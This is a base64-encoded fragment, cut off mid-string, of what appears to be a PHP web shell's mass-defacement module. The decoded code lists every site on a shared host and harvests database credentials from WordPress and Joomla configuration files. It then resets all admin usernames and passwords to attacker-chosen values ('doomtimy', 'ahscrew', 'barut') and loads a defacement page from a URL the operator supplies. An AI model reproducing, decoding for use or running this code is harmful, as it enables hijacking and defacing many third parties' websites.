ZXI+PGI+Q01TPC9iPjwvY2VudGVyPjwvdGQ+JzsNCg0KJHAgPSAwOw0KDQppZihpc19yZWFkYWJsZSgiL3Zhci9uYW1lZCIpKXsNCiRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOw0KJGN1cnJlbnRfZGlyID0gcG9zaXhfZ2V0Y3dkKCk7DQokZGlyID0gZXhwbG9kZSgiLyIsJGN1cnJlbnRfZGlyKTsNCmZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7DQppZihzdHJwb3MoJGRvbWFpbiwiLmRiIikpDQp7DQoJJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOw0KCSRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW4pKTsNCgkNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KJGxpbmsgPSAkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ107DQoNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiV29yZFByZXNzIik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIkpvb21sYSIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJ2QnVsbGV0aW4iKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiV0hNQ1MiKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiUGhwQkIiKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiTXlCQiIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJJUEIiKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwiU01GIik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIkRydXBhbCIpOw0KY21zX2FkZCgkbGluaywkZG9tYWluLCRvd25lclsnbmFtZSddLCJlMTA3Iik7DQpjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyWyduYW1lJ10sIlNlZGl0aW8iKTsNCmNtc19hZGQoJGxpbmssJGRvbWFpbiwkb3duZXJbJ25hbWUnXSwib3NDb21tZXJjZSIpOw0KDQp9DQp9DQp9DQp9ZWxzZXsNCmVjaG8nPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjQ1JSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI0IiBjbGFzcz0idGQxIj4nOw0KZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PC9jZW50ZXI+PGI+Q01TPC9iPjwvY2VudGVyPjwvdGQ+JzsNCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHBhZ2VVUkwuJ3BlZS50bXAnKTsNCmVjaG8gJGNvbnRlbnQ7DQp9DQpicmVhazsNCg0KDQoNCiMjIyMjIyMjIyMjIyMjIyNNQVNTIERFRkFDRQ0KY2FzZSAncGFzc19jaGFuZ2UnOg0KDQplY2hvIDw8PFBFRQ0KPGZvcm0gbWV0aG9kPSdQT1NUJz4NCjxjZW50ZXI+DQpVU0VSIDogPGlucHV0IHNpemU9JzIwJyB2YWx1ZT0nZG9vbXRpbXknIG5hbWU9J3VzZXInIHR5cGU9J3RleHQnPjxicj4NClBBU1MgOiA8aW5wdXQgc2l6ZT0nMjAnIHZhbHVlPSdhaHNjcmV3JyBuYW1lPSdwYXNzJyB0eXBlPSd0ZXh0Jz4NCjxicj4NCjxpbnB1dCB2YWx1ZT0nQ2hhbmdlJyBuYW1lPScnIHR5cGU9J3N1Ym1pdCc+PGJyPjxicj4NCjwvZm9ybT4NCg0KUEVFOw0KDQppZigkX1BPU1Qpew0KIyMjIyMjIyMjIyMjIyMjIyMjIyBVU0VSICYgUEFTUyAjIyMjIyMjIyMjIyMjIyMjDQokdXNlciA9ICRfUE9TVFsndXNlciddOw0KJHBhc3MgPSAkX1BPU1RbJ3Bhc3MnXTsNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoNCmlmKGlzX3JlYWRhYmxlKCIvdmFyL25hbWVkIikpDQp7DQoJDQoJZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiPic7DQoJZWNobyAnPHRyPjx0ZD48Yj5ET01BSU48L2I+PC90ZD48dGQ+VVNFUjwvdGQ+PHRkPkNNUzwvdGQ+PHRkPlNUQVRVUzwvYj48L3RkPic7DQoJJGxpc3QgPSBzY2FuZGlyKCIvdmFyL25hbWVkIik7DQoJZm9yZWFjaCgkbGlzdCBhcyAkZG9tYWluKXsNCglpZihzdHJwb3MoJGRvbWFpbiwiLmRiIikpDQoJew0KCQkkZG9tYWluID0gc3RyX3JlcGxhY2UoJy5kYicsJycsJGRvbWFpbik7DQoJCSRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW4pKTsNCgkJJHVybCA9ICdodHRwOi8vJy4kZG9tYWluOw0KCQlpZihjaGtfaGVhZGVyKCRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnKSkNCgkJeyANCgkJCSRjb25maWcgPSAkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0JzsNCgkJCQ0KCQkJZmlsZV9nZXRfY29udGVudHMoJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCcpOw0KCQkJIyNHRVQgREFUQUJBU0UgSU5GTyBGUk9NIENPTkZJR1VSQVRJT04gRklMRQ0KCQkJJGNuZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnKTsNCgkJCSRob3N0bmFtZSA9IEZpbmQoJGNuZiwiZGVmaW5lKCdEQl9IT1NUJywgJyIsIicpOyIpOw0KCQkJJHVzZXJuYW1lID0gRmluZCgkY25mLCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQoJCQkkcGFzc3dvcmQgPSBGaW5kKCRjbmYsImRlZmluZSgnREJfUEFTU1dPUkQnLCAnIiwiJyk7Iik7DQoJCQkkZGJuYW1lID0gRmluZCgkY25mLCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7DQoJCQkkcHJlZml4ID0gRmluZCgkY25mLCJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTsNCgkJCQ0KCQkJJGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdG5hbWUsJHVzZXJuYW1lLCRwYXNzd29yZCk7DQoJCQkNCgkJCWlmICgkbGluaykgDQoJCQl7DQoJCQkJJGhhc2ggPSBjcnlwdCgkcGFzcyk7DQoJCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCgkJCQkkdGFiID0gJHByZWZpeC4ndXNlcnMnOwkJCQ0KCQkJCSRxdWVyeTIgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGB1c2VyX2xvZ2luYCA9JyR1c2VyJyIpOw0KIAkJCQkkcXVlcnkzICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGB1c2VyX3Bhc3NgID0nJGhhc2gnIik7DQoJCQkJJHJlcSA9QG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0naG9tZSciKTsNCgkJCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KCQkJCSRzaXRlX3VybD0kZGF0YVsib3B0aW9uX3ZhbHVlIl07DQoJCQkJDQoJCQkJZXJyb3JfcmVwb3J0aW5nKDApOw0KCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0nLiR1cmwuJyBvbmNsaWNrPSJ3aW5kb3cub3Blbih0aGlzLmhyZWYpO3JldHVybiANCg0KZmFsc2U7Ij4nLiRkb21haW4uJzwvYT48L3RkPjx0ZD4nLiRvd25lclsnbmFtZSddLic8L3RkPjx0ZD48YSBocmVmPScuJGNvbmZpZy4nPldvcmRQcmVzczwvYT48L3RkPjx0ZD48Zm9udCANCg0KY29sb3I9ImdyZWVuIj5CYcWfYXLEsWzEsS4uLjwvZm9udD48L3RkPic7DQoJCQkJDQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Xb3JkUHJlc3M8L2E+PC90ZD48dGQ+PGZvbnQgY29sb3I9InJlZCI+bXlzcWwgDQoNCmZhaWw8L2ZvbnQ+PC90ZD4nOw0KCQkJfQ0KCQkNCgkJCQ0KCQkNCgkJDQoJCX0NCgkJDQoJCQ0KCQkNCgkJZWxzZWlmKGNoa19oZWFkZXIoJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictSm9vbWxhLnR4dCcpKQ0KCQl7IA0KCQkNCgkJIyNHRVQgREFUQUJBU0UgSU5GTyBGUk9NIENPTkZJR1VSQVRJT04gRklMRQ0KCQkJJGNuZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLUpvb21sYS50eHQnKTsNCgkJCSRjb25maWcgPSAkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ10uJy1Kb29tbGEudHh0JzsNCgkJCQ0KCQkJaWYocHJlZ19tYXRjaCgnJShKQ29uZmlnfG1vc0NvbmZpZyklJywkY25mKSl7DQoJCQkNCgkJCSMjIyMjIw0KCQkJaWYocHJlZ19tYXRjaCgnJUpDb25maWclJywgJGNuZikpew0KCQkJJHVzZXJuYW1lPUZpbmQoJGNuZiwiXCR1c2VyID0gJyIsIiciKTsNCgkJCSRwYXNzd29yZD1GaW5kKCRjbmYsIlwkcGFzc3dvcmQgPSAnIiwiJyIpOw0KCQkJJGRibmFtZT1GaW5kKCRjbmYsIlwkZGIgPSAnIiwiJyIpOw0KCQkJJHByZWZpeD1GaW5kKCRjbmYsIlwkZGJwcmVmaXggPSAnIiwiJyIpOw0KCQkJDQoJCQkNCgkJCSRsaW5rPW15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsJHVzZXJuYW1lLCRwYXNzd29yZCk7DQoJCQkNCgkJCWlmICgkbGluaykgDQoJCQl7DQoJCQkJJGhhc2ggPSBtZDUoJHVzZXIpOw0KCQkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoJCQkJJHRhYiA9ICRwcmVmaXguJ3VzZXJzJzsJCQkNCgkJCQkkcXVlcnkyICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgdXNlcm5hbWVgID0nJHVzZXInIik7DQogCQkJCSRxdWVyeTMgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHBhc3N3b3JkYCA9JyRoYXNoJyIpOw0KCQkJCQ0KCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+Sm9vbWxhPC9hPjwvdGQ+PHRkPjxmb250IA0KDQpjb2xvcj0iZ3JlZW4iPkJhxZ9hcsSxbMSxLi4uPC9mb250Pjxicj4nOw0KDQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Kb29tbGE8L2E+PC90ZD48dGQ+PGZvbnQgY29sb3I9InJlZCI+bXlzcWwgDQoNCmZhaWw8L2ZvbnQ+PC90ZD4nOw0KCQkJfQ0KCQkJDQoJCQl9DQoJCQkNCgkJCSMjIyMjDQoJCQllbHNlaWYocHJlZ19tYXRjaCgnJW1vc0NvbmZpZyUnLCRjbmYpKXsNCgkJCSR1c2VybmFtZT1GaW5kKCRjbmYsIlwkbW9zQ29uZmlnX3VzZXIgPSAnIiwiJyIpOw0KCQkJJHBhc3N3b3JkPUZpbmQoJGNuZiwiXCRtb3NDb25maWdfcGFzc3dvcmQgPSAnIiwiJyIpOw0KCQkJJGRibmFtZT1GaW5kKCRjbmYsIlwkbW9zQ29uZmlnX2RiID0gJyIsIiciKTsNCgkJCSRwcmVmaXg9RmluZCgkY25mLCJcJG1vc0NvbmZpZ19kYnByZWZpeCA9ICciLCInIik7DQoJCQkkcHdkID0gbWQ1KCRucGFzcyk7DQoJCQkNCgkJCSRsaW5rPW15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsJHVzZXJuYW1lLCRwYXNzd29yZCk7DQoJCQkNCgkJCWlmICgkbGluaykgDQoJCQl7DQoJCQkJJGhhc2ggPSBtZDUoJHBhc3MpOw0KCQkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoJCQkJJHRhYiA9ICRwcmVmaXguJ3VzZXJzJzsJCQkNCgkJCQkkcXVlcnkyICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgdXNlcm5hbWVgID0nJHVzZXInIik7DQogCQkJCSRxdWVyeTMgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHBhc3N3b3JkYCA9JyRoYXNoJyIpOw0KCQkJCQ0KCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0nLiR1cmwuJyBvbmNsaWNrPSJ3aW5kb3cub3Blbih0aGlzLmhyZWYpO3JldHVybiANCg0KZmFsc2U7Ij4nLiRkb21haW4uJzwvYT48L3RkPjx0ZD4nLiRvd25lclsnbmFtZSddLic8L3RkPjx0ZD48YSBocmVmPScuJGNvbmZpZy4nPkpvb21sYTwvYT48L3RkPjx0ZD48Zm9udCANCg0KY29sb3I9ImdyZWVuIj5CYcWfYXLEsWzEsTwvZm9udD48YnI+JzsNCg0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+Sm9vbWxhPC9hPjwvdGQ+PHRkPjxmb250IGNvbG9yPSJyZWQiPm15c3FsIA0KDQpmYWlsPC9mb250PjwvdGQ+JzsNCgkJCX0NCgkJCQ0KCQkJfQ0KCQkJDQoJCQkNCgkJCX0NCgkJCSMjIyMjIyMjIw0KCQkJDQoJCQkNCgkJfQ0KCX0NCn0NCn0NCg0KZWxzZWlmKGlzX3JlYWRhYmxlKCIvZXRjL3Bhc3N3ZCIpKXsNCg0KZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiPic7DQplY2hvICc8dHI+PHRkPjxiPkRPTUFJTjwvYj48L3RkPjx0ZD5VU0VSPC90ZD48dGQ+Q01TPC90ZD48dGQ+U1RBVFVTPC9iPjwvdGQ+JzsNCgkJCQ0KZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsNCiRldGNjID0gZXhwbG9kZSgiOiIsJGV0eik7DQoNCg0KaWYoY2hrX2hlYWRlcigkcGFnZVVSTC4ncGVlLycuJGV0Y2NbMF0uJy1Xb3JkUHJlc3MudHh0JykpDQoJCXsgDQoJCQkNCgkJCSRjb25maWcgPSAkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0JzsNCgkJCWZpbGVfZ2V0X2NvbnRlbnRzKCRwYWdlVVJMLidwZWUvJy4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsNCgkJCSMjR0VUIERBVEFCQVNFIElORk8gRlJPTSBDT05GSUdVUkFUSU9OIEZJTEUNCgkJCSRjbmYgPSBmaWxlX2dldF9jb250ZW50cygkcGFnZVVSTC4ncGVlLycuJGV0Y2NbMF0uJy1Xb3JkUHJlc3MudHh0Jyk7DQoJCQkkaG9zdG5hbWUgPSBGaW5kKCRjbmYsImRlZmluZSgnREJfSE9TVCcsICciLCInKTsiKTsNCgkJCSR1c2VybmFtZSA9IEZpbmQoJGNuZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOw0KCQkJJHBhc3N3b3JkID0gRmluZCgkY25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KCQkJJGRibmFtZSA9IEZpbmQoJGNuZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KCQkJJHByZWZpeCA9IEZpbmQoJGNuZiwidGFibGVfcHJlZml4ICA9ICciLCInIik7DQoJCQkNCgkJCSRsaW5rPW15c3FsX2Nvbm5lY3QoJGhvc3RuYW1lLCR1c2VybmFtZSwkcGFzc3dvcmQpOw0KCQkJDQoJCQlpZiAoJGxpbmspIA0KCQkJew0KCQkJCQ0KCQkJCSRoYXNoID0gY3J5cHQoJHVzZXIpOw0KCQkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoJCQkJJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOw0KCQkJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQoJCQkJJHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCgkJCQkkdGFiID0gJHByZWZpeC4ndXNlcnMnOwkJCQ0KCQkJCSRxdWVyeTIgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGB1c2VyX2xvZ2luYCA9JyR1c2VyJyIpOw0KIAkJCQkkcXVlcnkzICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGB1c2VyX3Bhc3NgID0nJGhhc2gnIik7DQoJCQkJDQoJCQkJZXJyb3JfcmVwb3J0aW5nKDApOw0KCQkJCQ0KCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0nLiR1cmwuJyBvbmNsaWNrPSJ3aW5kb3cub3Blbih0aGlzLmhyZWYpO3JldHVybiANCg0KZmFsc2U7Ij4nLiRkb21haW4uJzwvYT48L3RkPjx0ZD4nLiRvd25lclsnbmFtZSddLic8L3RkPjx0ZD48YSBocmVmPScuJGNvbmZpZy4nPldvcmRQcmVzczwvYT48L3RkPjx0ZD48Zm9udCANCg0KY29sb3I9ImdyZWVuIj5CYcWfYXLEsWzEsTwvZm9udD48YnI+JzsNCg0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPScuJHVybC4nIG9uY2xpY2s9IndpbmRvdy5vcGVuKHRoaXMuaHJlZik7cmV0dXJuIA0KDQpmYWxzZTsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Jy4kY29uZmlnLic+V29yZFByZXNzPC9hPjwvdGQ+PHRkPjxmb250IGNvbG9yPSJyZWQiPm15c3FsIA0KDQpmYWlsPC9mb250PjwvdGQ+JzsNCgkJCX0NCgkJDQoJCQkNCgkJDQoJCQ0KCQl9DQoJCQ0KCQkNCgkJDQoJCWVsc2VpZihjaGtfaGVhZGVyKCRwYWdlVVJMLidwZWUvJy4kZXRjY1swXS4nLUpvb21sYS50eHQnKSkNCgkJeyANCgkJDQoJCSMjR0VUIERBVEFCQVNFIElORk8gRlJPTSBDT05GSUdVUkFUSU9OIEZJTEUNCgkJCSRjbmYgPSBmaWxlX2dldF9jb250ZW50cygkcGFnZVVSTC4ncGVlLycuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7DQoJCQkkY29uZmlnID0gJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictSm9vbWxhLnR4dCc7DQoJCQkNCgkJCWlmKHByZWdfbWF0Y2goJyUoSkNvbmZpZ3xtb3NDb25maWcpJScsJGNuZikpew0KCQkJDQoJCQkjIyMjIyMNCgkJCWlmKHByZWdfbWF0Y2goJyVKQ29uZmlnJScsICRjbmYpKXsNCgkJCSR1c2VybmFtZT1GaW5kKCRjbmYsIlwkdXNlciA9ICciLCInIik7DQoJCQkkcGFzc3dvcmQ9RmluZCgkY25mLCJcJHBhc3N3b3JkID0gJyIsIiciKTsNCgkJCSRkYm5hbWU9RmluZCgkY25mLCJcJGRiID0gJyIsIiciKTsNCgkJCSRwcmVmaXg9RmluZCgkY25mLCJcJGRicHJlZml4ID0gJyIsIiciKTsNCgkJCSRzaXRlX3VybCA9IEZpbmQoJGNuZiwiXCRtYWlsZnJvbSA9ICciLCInIik7DQoJCQkkc2l0ZV91cmwgPSBleHBsb2RlKCJAIiwkc2l0ZV91cmwpOw0KCQkJDQoJCQkNCgkJCQ0KCQkJJGxpbms9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwkdXNlcm5hbWUsJHBhc3N3b3JkKTsNCgkJCQ0KCQkJaWYgKCRsaW5rKSANCgkJCXsNCgkJCQkkaGFzaCA9IG1kNSgkcGFzcyk7DQoJCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCgkJCQkkdGFiID0gJHByZWZpeC4ndXNlcnMnOwkJCQ0KCQkJCSRxdWVyeTIgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGB1c2VybmFtZWAgPSckdXNlciciKTsNCiAJCQkJJHF1ZXJ5MyAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgcGFzc3dvcmRgID0nJGhhc2gnIik7DQoJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Kb29tbGE8L2E+PC90ZD48dGQ+PGZvbnQgDQoNCmNvbG9yPSJncmVlbiI+QmHFn2FyxLFsxLE8L2ZvbnQ+PGJyPic7DQoNCgkJCX1lbHNlew0KCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0nLiR1cmwuJyBvbmNsaWNrPSJ3aW5kb3cub3Blbih0aGlzLmhyZWYpO3JldHVybiANCg0KZmFsc2U7Ij4nLiRkb21haW4uJzwvYT48L3RkPjx0ZD4nLiRvd25lclsnbmFtZSddLic8L3RkPjx0ZD48YSBocmVmPScuJGNvbmZpZy4nPkpvb21sYTwvYT48L3RkPjx0ZD48Zm9udCBjb2xvcj0icmVkIj5teXNxbCANCg0KZmFpbDwvZm9udD48L3RkPic7DQoJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJIyMjIyMNCgkJCWVsc2VpZihwcmVnX21hdGNoKCclbW9zQ29uZmlnJScsJGNuZikpew0KCQkJJHVzZXJuYW1lPUZpbmQoJGNuZiwiXCRtb3NDb25maWdfdXNlciA9ICciLCInIik7DQoJCQkkcGFzc3dvcmQ9RmluZCgkY25mLCJcJG1vc0NvbmZpZ19wYXNzd29yZCA9ICciLCInIik7DQoJCQkkZGJuYW1lPUZpbmQoJGNuZiwiXCRtb3NDb25maWdfZGIgPSAnIiwiJyIpOw0KCQkJJHByZWZpeD1GaW5kKCRjbmYsIlwkbW9zQ29uZmlnX2RicHJlZml4ID0gJyIsIiciKTsNCgkJCSRzaXRlX3VybCA9IEZpbmQoJGNuZiwiXCRtYWlsZnJvbSA9ICciLCInIik7DQoJCQkkc2l0ZV91cmwgPSBleHBsb2RlKCJAIiwkc2l0ZV91cmwpOw0KCQkJDQoJCQkkbGluaz1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCR1c2VybmFtZSwkcGFzc3dvcmQpOw0KCQkJDQoJCQlpZiAoJGxpbmspIA0KCQkJew0KCQkJCSRoYXNoID0gbWQ1KCRwYXNzKTsNCgkJCQlteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOw0KCQkJCSR0YWIgPSAkcHJlZml4Lid1c2Vycyc7CQkJDQoJCQkJJHF1ZXJ5MiAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJuYW1lYCA9JyR1c2VyJyIpOw0KIAkJCQkkcXVlcnkzICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGBwYXNzd29yZGAgPSckaGFzaCciKTsNCgkJCQkNCgkJCQllY2hvICc8dHI+PHRkPjxhIGhyZWY9Jy4kdXJsLicgb25jbGljaz0id2luZG93Lm9wZW4odGhpcy5ocmVmKTtyZXR1cm4gDQoNCmZhbHNlOyI+Jy4kZG9tYWluLic8L2E+PC90ZD48dGQ+Jy4kb3duZXJbJ25hbWUnXS4nPC90ZD48dGQ+PGEgaHJlZj0nLiRjb25maWcuJz5Kb29tbGE8L2E+PC90ZD48dGQ+PGZvbnQgDQoNCmNvbG9yPSJncmVlbiI+QmHFn2FyxLFsxLE8L2ZvbnQ+PGJyPic7DQoNCgkJCX1lbHNlew0KCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0nLiR1cmwuJyBvbmNsaWNrPSJ3aW5kb3cub3Blbih0aGlzLmhyZWYpO3JldHVybiANCg0KZmFsc2U7Ij4nLiRkb21haW4uJzwvYT48L3RkPjx0ZD4nLiRvd25lclsnbmFtZSddLic8L3RkPjx0ZD48YSBocmVmPScuJGNvbmZpZy4nPkpvb21sYTwvYT48L3RkPjx0ZD48Zm9udCBjb2xvcj0icmVkIj5teXNxbCANCg0KZmFpbDwvZm9udD48L3RkPic7DQoJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJDQoJCQl9DQoJCQkjIyMjIyMjIyMNCgkJCQ0KCQkJDQoJCX0NCgl9DQp9DQp9DQoNCg0KYnJlYWs7DQoNCg0KDQoNCg0KDQoNCg0KDQoNCiMjIyMjIyMjIyMjIyMjIyNNQVNTIERFRkFDRQ0KY2FzZSAnd3BfZGVmJzoNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIFVTRVIgJiBQQVNTICMjIyMjIyMjIyMjIyMjIyMNCiR1c2VyID0gJ2JhcnV0JzsNCiRwYXNzID0gJ2JhcnV0JzsNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQplY2hvIDw8PFBFRQ0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KDQo8bGFiZWw+RGVmYWNlIFVSTDogPC9sYWJlbD4gPGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo0NTBweDsiIG5hbWU9ImRlZmFjZV9wYWdlIj48YnIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJERUZBQ0UiPg0KPC9mb3JtPg0KDQpQRUU7DQoNCmlmKCRfUE9TVCl7IA0KJGRlZmFjZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKHRyaW0oJF9QT1NUWydkZWZhY2VfcGFnZSddKSk7DQoNCmlmKGlzX3JlYWRhYmxlKCIvdmFyL25hbWVkIikpDQp7DQoJDQoJZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiPic7DQoJZWNobyAnPHRyPjx0ZD48Yj5ET01BSU48L2I+PC90ZD48dGQ+VVNFU